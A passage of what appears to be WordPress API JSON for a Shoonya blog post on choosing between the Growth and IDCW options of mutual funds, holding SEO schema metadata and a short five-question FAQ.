Funds\"],\"inLanguage\":\"en-US\"},{\"@type\":[\"WebPage\",\"FAQPage\"],\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/growth-vs-idcw\\\/\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/growth-vs-idcw\\\/\",\"name\":\"Growth or IDCW: Which one to choose for your Mutual Funds?\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/growth-vs-idcw\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/growth-vs-idcw\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/10\\\/idcw-vs-growth.jpg\",\"datePublished\":\"2025-10-30T10:43:06+00:00\",\"dateModified\":\"2026-05-26T06:11:45+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/753b3e2352dc2915e7069273091f9124\"},\"description\":\"It is important to know the difference between Growth and IDCW options so that you can choose the right one for your mutual fund investments.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/growth-vs-idcw\\\/#breadcrumb\"},\"mainEntity\":[{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/growth-vs-idcw\\\/#faq-question-1761820122493\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/growth-vs-idcw\\\/#faq-question-1761820123203\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/growth-vs-idcw\\\/#faq-question-1761820196637\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/growth-vs-idcw\\\/#faq-question-1761820197773\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/growth-vs-idcw\\\/#faq-question-1761820222941\"}],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/shoonya.com\\\/blog\\\/growth-vs-idcw\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/growth-vs-idcw\\\/#primaryimage\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/10\\\/idcw-vs-growth.jpg\",\"contentUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/10\\\/idcw-vs-growth.jpg\",\"width\":1920,\"height\":1080,\"caption\":\"idcw vs growth\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/growth-vs-idcw\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Investing\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/investing\\\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Mutual Funds\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/investing\\\/mutual-funds\\\/\"},{\"@type\":\"ListItem\",\"position\":4,\"name\":\"Choosing Between Growth vs. IDCW: A Guide for Smart Investors\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\",\"name\":\"\",\"description\":\"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest smarter!\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/753b3e2352dc2915e7069273091f9124\",\"name\":\"atulrana\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/56661bad9a9faba6942f406f61a70c95770772dfbac6ae45629f44769cc88636?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/56661bad9a9faba6942f406f61a70c95770772dfbac6ae45629f44769cc88636?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/56661bad9a9faba6942f406f61a70c95770772dfbac6ae45629f44769cc88636?s=96&d=mm&r=g\",\"caption\":\"atulrana\"}},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/growth-vs-idcw\\\/#faq-question-1761820122493\",\"position\":1,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/growth-vs-idcw\\\/#faq-question-1761820122493\",\"name\":\"Which is better, growth or IDCW?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Both plans are good for a specific set of investors. It depends on your investment goals, which plan will be suitable and more beneficial.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/growth-vs-idcw\\\/#faq-question-1761820123203\",\"position\":2,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/growth-vs-idcw\\\/#faq-question-1761820123203\",\"name\":\"Are the Dividend fund and the IDCW fund are same?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Often, people refer IDCW plan of a mutual fund as a dividend fund or a dividend option.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/growth-vs-idcw\\\/#faq-question-1761820196637\",\"position\":3,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/growth-vs-idcw\\\/#faq-question-1761820196637\",\"name\":\"What is the disadvantage of IDCW?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Taxes are levied on each payout, and the returns are lower compared to the Growth option.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/growth-vs-idcw\\\/#faq-question-1761820197773\",\"position\":4,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/growth-vs-idcw\\\/#faq-question-1761820197773\",\"name\":\"Are Growth plans good for the long term?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Yes, the Growth plan of a mutual fund is good for long-term wealth accumulation.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/growth-vs-idcw\\\/#faq-question-1761820222941\",\"position\":5,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/growth-vs-idcw\\\/#faq-question-1761820222941\",\"name\":\"Are the IDCW plans good for retirement?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Yes, with the IDCW plan, you can have a source of periodic income, which can help you during your retirement days. However, the dividend payouts depend on the performance of the fund.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Growth or IDCW: Which one to choose for your Mutual Funds?","description":"It is important to know the difference between Growth and IDCW options so that you can choose the right one for your mutual fund investments.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/","og_locale":"en_US","og_type":"article","og_title":"Growth or IDCW: Which one to choose for your Mutual Funds?","og_description":"It is important to know the difference between Growth and IDCW options so that you can choose the right one for your mutual fund investments.","og_url":"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/","article_publisher":"https:\/\/www.facebook.com\/ShoonyaApp\/","article_published_time":"2025-10-30T10:43:06+00:00","article_modified_time":"2026-05-26T06:11:45+00:00","og_image":[{"width":1920,"height":1080,"url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/10\/idcw-vs-growth.jpg","type":"image\/jpeg"}],"author":"atulrana","twitter_card":"summary_large_image","twitter_title":"Growth or IDCW: Which one to choose for your Mutual Funds?","twitter_description":"It is important to know the difference between Growth and IDCW options so that you can choose the right one for your mutual fund investments.","twitter_image":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/10\/idcw-vs-growth.jpg","twitter_creator":"@shoonyaapp","twitter_site":"@shoonyaapp","twitter_misc":{"Written by":"atulrana","Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/#article","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/"},"author":{"name":"atulrana","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/753b3e2352dc2915e7069273091f9124"},"headline":"Choosing Between Growth vs. IDCW: A Guide for Smart Investors","datePublished":"2025-10-30T10:43:06+00:00","dateModified":"2026-05-26T06:11:45+00:00","mainEntityOfPage":{"@id":"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/"},"wordCount":1162,"image":{"@id":"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/10\/idcw-vs-growth.jpg","keywords":["difference between growth and idcw in mutual fund","Growth Vs IDCW","idcw and growth difference","idcw full form","idcw meaning","idcw vs growth","idcw vs growth mutual fund","idcw vs growth which is better","idcw vs. growth option","what is difference between growth and idcw","what is idcw in mutual fund"],"articleSection":["Mutual Funds"],"inLanguage":"en-US"},{"@type":["WebPage","FAQPage"],"@id":"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/","url":"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/","name":"Growth or IDCW: Which one to choose for your Mutual Funds?","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/#primaryimage"},"image":{"@id":"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/10\/idcw-vs-growth.jpg","datePublished":"2025-10-30T10:43:06+00:00","dateModified":"2026-05-26T06:11:45+00:00","author":{"@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/753b3e2352dc2915e7069273091f9124"},"description":"It is important to know the difference between Growth and IDCW options so that you can choose the right one for your mutual fund investments.","breadcrumb":{"@id":"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/#breadcrumb"},"mainEntity":[{"@id":"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/#faq-question-1761820122493"},{"@id":"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/#faq-question-1761820123203"},{"@id":"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/#faq-question-1761820196637"},{"@id":"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/#faq-question-1761820197773"},{"@id":"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/#faq-question-1761820222941"}],"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/shoonya.com\/blog\/growth-vs-idcw\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/#primaryimage","url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/10\/idcw-vs-growth.jpg","contentUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/10\/idcw-vs-growth.jpg","width":1920,"height":1080,"caption":"idcw vs growth"},{"@type":"BreadcrumbList","@id":"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/shoonya.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Investing","item":"https:\/\/shoonya.com\/blog\/investing\/"},{"@type":"ListItem","position":3,"name":"Mutual Funds","item":"https:\/\/shoonya.com\/blog\/investing\/mutual-funds\/"},{"@type":"ListItem","position":4,"name":"Choosing Between Growth vs. IDCW: A Guide for Smart Investors"}]},{"@type":"WebSite","@id":"https:\/\/shoonya.com\/blog\/#website","url":"https:\/\/shoonya.com\/blog\/","name":"","description":"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest smarter!","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/shoonya.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/753b3e2352dc2915e7069273091f9124","name":"atulrana","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/56661bad9a9faba6942f406f61a70c95770772dfbac6ae45629f44769cc88636?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/56661bad9a9faba6942f406f61a70c95770772dfbac6ae45629f44769cc88636?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/56661bad9a9faba6942f406f61a70c95770772dfbac6ae45629f44769cc88636?s=96&d=mm&r=g","caption":"atulrana"}},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/#faq-question-1761820122493","position":1,"url":"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/#faq-question-1761820122493","name":"Which is better, growth or IDCW?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"Both plans are good for a specific set of investors. It depends on your investment goals, which plan will be suitable and more beneficial.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/#faq-question-1761820123203","position":2,"url":"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/#faq-question-1761820123203","name":"Are the Dividend fund and the IDCW fund are same?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"Often, people refer IDCW plan of a mutual fund as a dividend fund or a dividend option.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/#faq-question-1761820196637","position":3,"url":"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/#faq-question-1761820196637","name":"What is the disadvantage of IDCW?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"Taxes are levied on each payout, and the returns are lower compared to the Growth option.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/#faq-question-1761820197773","position":4,"url":"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/#faq-question-1761820197773","name":"Are Growth plans good for the long term?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"Yes, the Growth plan of a mutual fund is good for long-term wealth accumulation.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/#faq-question-1761820222941","position":5,"url":"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/#faq-question-1761820222941","name":"Are the IDCW plans good for retirement?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"Yes, with the IDCW plan, you can have a source of periodic income, which can help you during your retirement days. However, the dividend payouts depend on the performance of the fund.","inLanguage":"en-US"},"inLanguage":"en-US"}]}},"_links":{"self":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/15448","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/users\/17"}],"replies":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/comments?post=15448"}],"version-history":[{"count":4,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/15448\/revisions"}],"predecessor-version":[{"id":17408,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/15448\/revisions\/17408"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media\/15451"}],"wp:attachment":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media?parent=15448"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/categories?post=15448"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/tags?post=15448"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}